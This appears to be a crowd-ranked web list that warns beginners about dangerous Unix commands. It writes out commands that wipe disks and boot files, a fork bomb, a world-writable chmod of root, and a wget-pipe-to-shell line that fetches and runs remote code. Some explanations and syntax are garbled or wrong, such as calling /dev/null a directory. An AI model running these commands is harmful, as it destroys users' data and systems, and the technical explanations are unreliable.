Dumb and Dangerous Unix Commands You Should Never Run

Ever used a Linux computer system? If so, you will undoubtedly have come round to configuring your computer, and its files and software, using a Unix terminal. If you are new to this, it will take practice, but I promise you that you will be fine as long as you don't run any of the commands specified in this list, as there are commands out there which can create serious and irreversible problems with your computer. For that reason, I strongly advise that you take care with your Unix usage, and absolutely, 100%, do NOT run any of these commands. You have been warned.
The Top Ten
1 rm -rf /

The classic hard disk killer. This forcefully and recursively deletes your entire drive, including config files, boot files, and doing profound, irrefutable damage to your computer and even removable drives. Just don't.

2 mv / /dev/null

The null directory is a system directory in which files transferred to it are automatically deleted. Several commands direct temporary objects here, but what this will do is dump the entire root directory to the null directory, and all of it will be gone for good.

3 rm -rf /boot

This deletes the boot files from your computer, and so you will be completely unable to turn it on!

4 bash_command > /dev/hda/

This rewrites the output of the given command to your system hard drive, erasing everything that was there!

5 dd if = /dev/zero of = /dev/hda

Got data on your hard drive? Of course you do, and it's important to keep your computer running! This will replace all of it with zeros! Those crucial objects keeping your computer alive have been replaced with junk!

6 : () { : | : & } ; :

This is known as a fork bomb command. Running it once will continually replicate itself until your processor is overwhelmed, likely leading to widespread data corruption.

7 mkfs.ext4 /dev/hda

This is the equivalent of formatting your hard drive. It makes a new hard drive ID, but in the same location as the one you are running, therefore you'll erase your drive entirely by doing this.

8 wget http://malicious url/something -O – | sh

This will download the software from the specified URL and automatically execute it. If the software is malicious, it could mean you just killed your computer.

9 ^foo^bar

This is something used commonly, however very carefully, to fix mistakes in previous commands. The danger is that if the correction contains malicious content it will automatically be run when substituted into the previous command.

If this is commonly used then it seems strange to have it on a list of commands you should never use. Maybe a better term would be never use if like me you are not an expert on computers.

10 Chmod -R 777/

If multiple users work on your computer, this will instantly allow them to see, edit, move and delete anything and everything previously restricted.

The Contenders
11 alias ls = rm -rf /

Nothing like wiping your root folder whenever you want to view the contents of your working directory.

BAdd New Item